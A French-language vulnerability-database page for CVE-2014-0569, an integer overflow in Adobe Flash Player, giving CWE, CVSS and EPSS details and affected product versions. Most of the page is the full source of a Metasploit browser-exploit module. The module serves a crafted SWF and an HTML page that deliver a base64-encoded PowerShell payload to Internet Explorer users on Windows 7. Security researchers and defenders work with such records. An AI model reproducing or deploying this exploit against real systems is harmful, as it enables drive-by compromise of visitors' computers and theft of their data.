Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-190 |
Integer Overflow or Wraparound The product performs a calculation that can
produce an integer overflow or wraparound when the logic
assumes that the resulting value will always be larger than
the original value. This occurs when an integer value is
incremented to a value that is too large to store in the
associated representation. When this occurs, the value may
become a very small or negative number. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 36744
Date de publication : 2015-04-12 22:00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player casi32 Integer Overflow',
'Description' => %q{
This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs in
the casi32 method, where an integer overflow occurs if a ByteArray of length 0 is setup as
domainMemory for the current application domain. This module has been tested successfully
on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 15.0.0.167.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bilou', # Vulnerability discovery
'juan vazquez' # msf module
],
'References' =>
[
['ZDI', '14-365'],
['CVE', '2014-0569'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-22.html'],
['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0569.html']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^15\./ && ver == '15.0.0.167' },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 14 2014',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0569', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
Products Mentioned
Configuraton 0
Adobe>>Flash_player >> Version To (including) 11.2.202.406
Linux>>Linux_kernel >> Version -
Configuraton 0
Adobe>>Flash_player >> Version To (including) 13.0.0.244
Apple>>Macos >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Flash_player >> Version To (including) 15.0.0.152
Apple>>Macos >> Version -
Linux>>Linux_kernel >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Flash_player >> Version To (including) 15.0.0.167
Adobe>>Flash_player >> Version To (including) 15.0.0.167
Microsoft>>Windows_8 >> Version -
Microsoft>>Windows_8.1 >> Version -
Configuraton 0
Adobe>>Flash_player_desktop_runtime >> Version To (including) 15.0.0.167
Apple>>Macos >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Air_desktop_runtime >> Version To (including) 15.0.0.249
Apple>>Macos >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Air_sdk >> Version To (including) 15.0.0.249
Apple>>Iphone_os >> Version -
Apple>>Macos >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Air_sdk >> Version To (including) 15.0.0.252
Google>>Android >> Version -
Configuraton 0
Opensuse>>Evergreen >> Version 11.4
Opensuse>>Opensuse >> Version 12.3
Opensuse>>Opensuse >> Version 13.1
Suse>>Linux_enterprise_desktop >> Version 11
References